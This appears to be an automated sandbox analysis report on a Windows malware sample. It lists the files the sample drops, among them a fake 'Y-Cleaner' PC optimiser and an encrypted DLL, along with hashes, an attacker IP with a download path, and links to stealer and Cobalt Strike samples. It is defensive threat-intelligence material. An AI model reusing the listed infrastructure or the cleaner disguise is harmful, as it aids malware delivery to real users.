Detection:	MAL
Classification:	mal100.evad.winEXE@2/15@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.168.117.173, 4.245.163.56, 173.222.162.32, 20.190.160.17, 13.107.246.63
Excluded domains from analysis (whitelisted): www.bing.com, onedsblobprdeus16.eastus.cloudapp.azure.com, ocsp.digicert.com, slscr.update.microsoft.com, login.live.com, otelrules.azureedge.net, blobcollector.events.data.trafficmanager.net, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
10:28:05	API Interceptor	88x Sleep call for process: dI3n4LSHB7.exe modified
10:28:46	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.156.73.23	zmTSHkabY6.exe	Get hash	malicious	Unknown	Browse	185.156.73.23/soft/download
	8V0INSl0E2.exe	Get hash	malicious	Unknown	Browse	185.156.73.23/soft/download
	BEd2lJRXFM.exe	Get hash	malicious	Unknown	Browse	185.156.73.23/soft/download

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
RELDAS-NETRU	zmTSHkabY6.exe	Get hash	malicious	Unknown	Browse	185.156.73.23
	8V0INSl0E2.exe	Get hash	malicious	Unknown	Browse	185.156.73.23
	BEd2lJRXFM.exe	Get hash	malicious	Unknown	Browse	185.156.73.23
	beacon.exe	Get hash	malicious	CobaltStrike	Browse	185.156.73.37

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\dll[1]	8V0INSl0E2.exe	Get hash	malicious	Unknown	Browse
	BEd2lJRXFM.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_dI3n4LSHB7.exe_f6fe6a775ccc1b4491b201f63d894c5e22e7678_d471ef22_d6bd5eef-6d06-4d7d-929d-86b0cec8ea18\Report.wer

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9838720154494586
Encrypted:	false
SSDEEP:	96:b5RHM3METlszhNR7YjSYQXIDcQ1c6zcEBcw3LQ+HbHg/8BRTf3Oy1oVazW0H9nF3:b/lETlI0737fRjud3szuiFZZ24IO8a
MD5:	C355D360B53DF032AD6E27CE19D44D5E
SHA1:	8067180C1323EB9A1A316A949A24D73966BB4245
SHA-256:	17689506B5448441005A293804311129501508F7CADFF794FA573C1A51A1C18D
SHA-512:	981573569E49EF06714B61E85917AB7A66D568F0321FB3F20EEA1060DE742344C0A156748295D496BE6D5E866A302247034DE175A87DC92F8CEF53173135D3E1
Malicious:	true
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.9.1.8.2.1.0.4.3.5.8.8.4.6.6.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.9.1.8.2.1.0.6.7.8.0.7.2.6.4.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.d.6.b.d.5.e.e.f.-.6.d.0.6.-.4.d.7.d.-.9.2.9.d.-.8.6.b.0.c.e.c.8.e.a.1.8.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.a.9.3.4.3.1.f.d.-.9.f.2.6.-.4.8.a.a.-.a.d.8.2.-.9.0.f.d.4.3.4.d.8.3.d.1.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.d.I.3.n.4.L.S.H.B.7...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.a.7.c.-.0.0.0.1.-.0.0.1.4.-.c.1.a.2.-.a.c.b.1.f.3.5.2.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.0.5.a.c.b.e.f.1.5.9.c.4.e.e.3.8.3.b.6.9.8.7.7.b.8.4.2.3.5.8.d.e.0.0.0.0.f.f.f.f.!.0.0.0.0.b.f.8.8.2.f.3.3.c.5.d.f.5.c.4.9.8.2.5.2.e.4.c.b.1.4.9.f.f.a.1.1.b.d.a.9.b.6.2.3.!.d.I.3.n.4.L.S.H.B.7...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5988.tmp.dmp

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Fri Dec 20 15:28:26 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	46484
Entropy (8bit):	2.548749541480262
Encrypted:	false
SSDEEP:	192:LP+tEdZXQwtEXTlT92Oio+Ibwt9p67nt6NkM48scKGXgSajZ+u/TVOEBHiKJS6+8:7+TwtqlTzP+o+6Dt6NTolj1/ZVQGzo
MD5:	58D60A7310B132897F531C455329B4B0
SHA1:	1050A8B6DB82D6E1532FBC80F0CCAB4EBE0AD167
SHA-256:	3F6A438F664EDB62A79860EEAB3BFD59E5E91AD0686AA442EAEDC26DDC659240
SHA-512:	E9BFBA7E11801990723E284401254FC7712C2E8ED6066F7B782A8778DF86399F73B2FEDB3B717B461F4E385055A12803A795322C30AD5DCA6DC5C82543ACE708
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... .........eg............4...........8...<.......D....,..........T.......8...........T...........(B..ls..........t...........` ..............................................................................eJ....... ......GenuineIntel............T.......\|....eg.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6169.tmp.WERInternalMetadata.xml

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8398
Entropy (8bit):	3.694974781568798
Encrypted:	false
SSDEEP:	192:R6l7wVeJ+16SkU6Y9bSU9N67gmfyS9pDT89bl8sf5Xm:R6lXJk666YhSU9N67gmfyZlPf0
MD5:	DDBBA7FFE15AED8F2EBC2627811F8217
SHA1:	7698CFEE329938A54D463D59F58A586ED737A1D3
SHA-256:	38E46BA6932A3CF2DC23DAC3168F6B1D816FC6B1846E8F8183CEA7CC99941A6F
SHA-512:	B5669DE970BD4B90816375EF6104A07B6B420A316B9E6BA8D4C172E5C890549DF3297477C9E93BB615FE02C34DD543E883F314C77A38D434A44D61FC121EB57E
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.7.8.0.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6189.tmp.xml

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4680
Entropy (8bit):	4.464075354610673
Encrypted:	false
SSDEEP:	48:cvIwWl8zs3Jg77aI9hGWpW8VYxYm8M4J0PF74+q8vrM7MhSzAfd:uIjfZI7fH7VJJQ4KY7M8zAfd
MD5:	61DDA0B2573386024742317F0F020CFB
SHA1:	9C3334D2687B2EF8FCE5197EC6A1D4E095291AF3
SHA-256:	18BA8203803FA4C9BF09B6F27AEFCB9A2CD0475ADD5D0B5748E831C1E14F2BD2
SHA-512:	08E88FCAE4CB084FF5529E84D7BEC9DAA242D26CA3C6D2D35C0D778D573FFAECCEAC0A0BC77F44C6770C8C7A1DF96A01D9CC2D35C96E76BB671A5AB5561B0A3E
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="639751" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\add[1].htm

Process:	C:\Users\user\Desktop\dI3n4LSHB7.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Reputation:	high, very likely benign file
Preview:	0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\dll[1]

Process:	C:\Users\user\Desktop\dI3n4LSHB7.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	242176
Entropy (8bit):	6.47050397947197
Encrypted:	false
SSDEEP:	6144:SIQpxILDXGGMO7Ice9C5kQw2hWHcHTykhb:SIQpxILDXGGlET9n/cHG
MD5:	2ECB51AB00C5F340380ECF849291DBCF
SHA1:	1A4DFFBCE2A4CE65495ED79EAB42A4DA3B660931
SHA-256:	F1B3E0F2750A9103E46A6A4A34F1CF9D17779725F98042CC2475EC66484801CF
SHA-512:	E241A48EAFCAF99187035F0870D24D74AE97FE84AAADD2591CCEEA9F64B8223D77CFB17A038A58EADD3B822C5201A6F7494F26EEA6F77D95F77F6C668D088E6B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: 8V0INSl0E2.exe, Detection: malicious, Browse Filename: BEd2lJRXFM.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Reputation:	high, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...Jl.X...........!..................... ........... ....................... ............@.....................................W.................................................................................... ............... ..H............text...4.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........`..4e...........U..............................................}.Y.y.=.{.X.x.=..r...p.o2....o...(3.....o2...}....:..s.....(...........2r...p(;...&Vr...p.....r...p.......(....>.........}.......(C.....o...(D...(E...}.....(F...(E...(G...&>.........}.......(C.....o...(D...}.....(F...(E...(H...&".......>.........}....R..} .....{ ...oo.....{ ..."..}!.....{!......}.....{#....{....op....{....,...{ ...oo.....{!...oo.....{....B.....su...(v.....{#....{#...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\download[1].htm

Process:	C:\Users\user\Desktop\dI3n4LSHB7.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Preview:	0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\fuckingdllENCR[1].dll

Process:	C:\Users\user\Desktop\dI3n4LSHB7.exe
File Type:	data
Category:	dropped
Size (bytes):	97296
Entropy (8bit):	7.9982317718947025
Encrypted:	true
SSDEEP:	1536:A1FazaNKjs9ezO6kGnCRFVjltPjM9Ew1MhiIeJfZCQdOlnq32YTCUZiyAS3tUX9F:k4zaMjVUGCRzbgqw1MoIeJyQ4nyqX9F
MD5:	E6743949BBF24B39B25399CD7C5D3A2E
SHA1:	DBE84C91A9B0ACCD2C1C16D49B48FAEAEC830239
SHA-256:	A3B82FC46635A467CC8375D40DDBDDD71CAE3B7659D2BB5C3C4370930AE9468C
SHA-512:	3D50396CDF33F5C6522D4C485D96425C0DDB341DB9BD66C43EAE6D8617B26A4D9B4B9A5AEE0457A4F1EC6FAC3CB8208C562A479DCAE024A50143CBFA4E1F15F6
Malicious:	false
Preview:	XM .4Ih..]...t.&.s...v.0{.v.vs'...:.l.h...e.....R....1...r.R+Fk....~.s.....Q.....r.T.b.....~c..[........;...j.@.0.%.....x...v.w.....<ru....Yre;.b6...HQ-...8.B..Q.a...R.:.h&r.......=.;r.k..T.@....l..;#..3!.O..x.}........y'<.GfQ.K.#.L5v..].......d....N{e..@................A\..<.t.u.X.O.n..Z.. .Xb.O<.Z...h~.(.W.f.z.V.4..L...%5.0...H..`s...y.B......(IL5s:aS}X.......M9.J.o....).'..M;n6]...W..n....)...L...._..e.....>....[....RA.........'...6.N..g6....IY.%h.. 3r....^..\.b~y./....h.2......ZLk....u}..V..<.fbD.<!.._2.zo..IE...P..O...u......P.......w#.6N..&l.R}GI...LY...N.yz..j..Hy.'..._.5..Pd9.y..+....6.q...).G.c...L#....5\.M....5U])....U(..~H.m....Y....G1.r.4.B..h........P..]i...M%.............)q......]....~\|..j...b..K!..N.7R.}T.2bsq..1...L^..!.\|q.D'...s.Ln...D@..bn%0=b.Q1.....+l...QXO\|.......NC.d......{.0....8F.....<.W.y..{o..j.3.....n..4.....eS]. K...o.B.H~.sh.1....m8....6{.ls..R..q..~....w._;....X*.#..U....6n.ODbT.+Zc....q....S.$-S`YT....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\download[1].htm

Process:	C:\Users\user\Desktop\dI3n4LSHB7.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Preview:	0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\key[1].htm

Process:	C:\Users\user\Desktop\dI3n4LSHB7.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	21
Entropy (8bit):	3.880179922675737
Encrypted:	false
SSDEEP:	3:gFsR0GOWW:gyRhI
MD5:	408E94319D97609B8E768415873D5A14
SHA1:	E1F56DE347505607893A0A1442B6F3659BEF79C4
SHA-256:	E29A4FD2CB1F367A743EA7CFD356DBD19AEB271523BBAE49D4F53257C3B0A78D
SHA-512:	994FA19673C6ADC2CC5EF31C6A5C323406BB351551219EE0EEDA4663EC32DAF2A1D14702472B5CF7B476809B088C85C5BE684916B73046DA0DF72236BC6F5608
Malicious:	false
Preview:	9tKiK3bsYm4fMuK47Pk3s

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\soft[1]

Process:	C:\Users\user\Desktop\dI3n4LSHB7.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1502720
Entropy (8bit):	7.646111739368707
Encrypted:	false
SSDEEP:	24576:7i4dHPD/8u4dJG/8yndSzGmTG2/mR2SGeYdc0GmTG2/mR6Trr2h60qP:7rPD/8I/8ly+Zrr2h60qP
MD5:	A8CF5621811F7FAC55CFE8CB3FA6B9F6
SHA1:	121356839E8138A03141F5F5856936A85BD2A474
SHA-256:	614A0362AB87CEE48D0935B5BB957D539BE1D94C6FDEB3FE42FAC4FBE182C10C
SHA-512:	4479D951435F222CA7306774002F030972C9F1715D6AAF512FCA9420DD79CB6D08240F80129F213851773290254BE34F0FF63C7B1F4D554A7DB5F84B69E84BDD
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 75%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..._............"...0..0...........O... ...`....@.. .......................@............`.................................LO..O....`...................... ......0O............................................... ............... ..H............text..../... ...0.................. ..`.rsrc.......`.......2..............@..@.reloc....... ......................@..B.................O......H.......h~...D......U... .................................................(......(.....~....-.r...p.....(....o....s.........~.....~...........j(....r=..p~....o....t....j(....rM..p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t.....~......(....Vs....(....t.........N.(.....(.....(........0..f.......(.........8M........o....9:....o.......o.......-a.{......<...%..o.....%.

C:\Users\user\AppData\Local\Temp\eEwf3ZG9fBWYD5w\Bunifu_UI_v1.5.3.dll

Process:	C:\Users\user\Desktop\dI3n4LSHB7.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	242176
Entropy (8bit):	6.47050397947197
Encrypted:	false
SSDEEP:	6144:SIQpxILDXGGMO7Ice9C5kQw2hWHcHTykhb:SIQpxILDXGGlET9n/cHG
MD5:	2ECB51AB00C5F340380ECF849291DBCF
SHA1:	1A4DFFBCE2A4CE65495ED79EAB42A4DA3B660931
SHA-256:	F1B3E0F2750A9103E46A6A4A34F1CF9D17779725F98042CC2475EC66484801CF
SHA-512:	E241A48EAFCAF99187035F0870D24D74AE97FE84AAADD2591CCEEA9F64B8223D77CFB17A038A58EADD3B822C5201A6F7494F26EEA6F77D95F77F6C668D088E6B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...Jl.X...........!..................... ........... ....................... ............@.....................................W.................................................................................... ............... ..H............text...4.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........`..4e...........U..............................................}.Y.y.=.{.X.x.=..r...p.o2....o...(3.....o2...}....:..s.....(...........2r...p(;...&Vr...p.....r...p.......(....>.........}.......(C.....o...(D...(E...}.....(F...(E...(G...&>.........}.......(C.....o...(D...}.....(F...(E...(H...&".......>.........}....R..} .....{ ...oo.....{ ..."..}!.....{!......}.....{#....{....op....{....,...{ ...oo.....{!...oo.....{....B.....su...(v.....{#....{#...

C:\Users\user\AppData\Local\Temp\eEwf3ZG9fBWYD5w\Y-Cleaner.exe

Process:	C:\Users\user\Desktop\dI3n4LSHB7.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1502720
Entropy (8bit):	7.646111739368707
Encrypted:	false
SSDEEP:	24576:7i4dHPD/8u4dJG/8yndSzGmTG2/mR2SGeYdc0GmTG2/mR6Trr2h60qP:7rPD/8I/8ly+Zrr2h60qP
MD5:	A8CF5621811F7FAC55CFE8CB3FA6B9F6
SHA1:	121356839E8138A03141F5F5856936A85BD2A474
SHA-256:	614A0362AB87CEE48D0935B5BB957D539BE1D94C6FDEB3FE42FAC4FBE182C10C
SHA-512:	4479D951435F222CA7306774002F030972C9F1715D6AAF512FCA9420DD79CB6D08240F80129F213851773290254BE34F0FF63C7B1F4D554A7DB5F84B69E84BDD
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 75%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..._............"...0..0...........O... ...`....@.. .......................@............`.................................LO..O....`...................... ......0O............................................... ............... ..H............text..../... ...0.................. ..`.rsrc.......`.......2..............@..@.reloc....... ......................@..B.................O......H.......h~...D......U... .................................................(......(.....~....-.r...p.....(....o....s.........~.....~...........j(....r=..p~....o....t....j(....rM..p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t....j(....r...p~....o....t.....~......(....Vs....(....t.........N.(.....(.....(........0..f.......(.........8M........o....9:....o.......o.......-a.{......<...%..o.....%.

C:\Users\user\Desktop\Cleaner.lnk

Process:	C:\Users\user\Desktop\dI3n4LSHB7.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Icon number=0, Archive, ctime=Fri Dec 20 14:28:20 2024, mtime=Fri Dec 20 14:28:20 2024, atime=Fri Dec 20 14:28:20 2024, length=1502720, window=hide
Category:	dropped
Size (bytes):	2142
Entropy (8bit):	3.81633539333321
Encrypted:	false
SSDEEP:	48:8PvrR4rBsxwwvNRDBC19DBCaZMqDBC7yF:8nl4r4Nlo7Uy
MD5:	0D8206CCBBB291DD4539FCEFF9902657
SHA1:	D5F616FC7BEA5B804240D75D4987DAACE30D2118
SHA-256:	F8D3267DB7AC1853162BF71DD64271C88368944BBD7C27A3547A8EC1630B3F62
SHA-512:	8A663AD53ED02DDB3B659869F81EA0E1CD521CCB30F35642F4CCAB8E0EF6980FF93B57B4067A96CF4C450C1856BF11E9E39AF03ACE3AFAA87D63AD9AD2B223B3
Malicious:	false
Preview:	L..................F.@.. ...gy...R..gy...R..gy...R..........................,.:..DG..Yr?.D..U..k0.&...&......vk.v.....w...R..E."..R......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.Yq{...........................%..A.p.p.D.a.t.a...B.P.1......Yo{..Local.<......CW.^.Yq{....b.....................+...L.o.c.a.l.....N.1......Yq{..Temp..:......CW.^.Yq{....l......................5..T.e.m.p.....h.1......Y.{..EEWF3Z~1..P......Y.{.Y.{...........................*.e.E.w.f.3.Z.G.9.f.B.W.Y.D.5.w.....h.2......Y.{ .Y-CLEA~1.EXE..L......Y.{.Y.{....Y......................u..Y.-.C.l.e.a.n.e.r...e.x.e.......n...............-.......m............"Xy.....C:\Users\user\AppData\Local\Temp\eEwf3ZG9fBWYD5w\Y-Cleaner.exe....M.a.k.e. .y.o.u.r. .P.C. .f.a.s.t.e.r.3.....\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.e.E.w.f.3.Z.G.9.f.B.W.Y.D.5.w.\.Y.-.C.l.e.a.n.e.r...e.x.e.?.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.e.E.w.f.3.Z.G.9.f.B.W.Y.D.5.w.\.Y.-.C.l.e.

C:\Windows\appcompat\Programs\Amcache.hve

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.465459375463516
Encrypted:	false
SSDEEP:	6144:LIXfpi67eLPU9skLmb0b4+WSPKaJG8nAgejZMMhA2gX4WABl0uNSdwBCswSb2:MXD94+WlLZMM6YFHg+2
MD5:	61929AB808D0FD5A69C5D75F7774481A
SHA1:	A0FF895C28C8A3C29FFA4FA3CF5AB96A98AC8687
SHA-256:	D8CD66D4FC36BFDCE805FD7F1532E61FB0EFE98216C131407BDBDB4B4CA368E3
SHA-512:	289984FDA434E91CA438DA5CBDED0896F6008074512EE84CD59EA31630AA3CDEB801F32D88EF66276C41D13652F4D351BEA05B92A94BCB17F8D8A1E7560B8729
Malicious:	false
Preview:	regf6...6....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.c...R..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.943090048480897
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	dI3n4LSHB7.exe
File size:	1'945'600 bytes
MD5:	2725f2b0ffa89f08642d36caf06c3ce4
SHA1:	bf882f33c5df5c498252e4cb149ffa11bda9b623
SHA256:	7be3016ad7251eda873c02c362243710b73620c595a9ca34bd0a7c0f2055b11f
SHA512:	4bf1c33808847d251b811262ff5ac3e30958794ff6a7916e96f1af884a605c078ef62001181bfacdfc80907575bd73d42ee9be4e78c01d2e3fa9f9b8bee2942f
SSDEEP:	49152:KM0P7ca9GJZWlS/mS3J1NFOtMcGduNc0dwknye5GxFi30:VLMIT/FrjFsTHP5Gbi3
TLSH:	ED95330F88B77BA0CE46CB7FC956D3756209D97F1E8A8182AD0599FA64D72F210D7C80
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........i..............nG@......ZR......ZC......ZU......................Z\......ZB......ZG.....Rich....................PE..L....,.e...

File Icon


Icon Hash:	e7a99a8a8651790c

Static PE Info

General

Entrypoint:	0xc65000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x65B12CA8 [Wed Jan 24 15:28:40 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FF4C0DB06BAh
jng 00007FF4C0DB06D3h
add byte ptr [eax], al
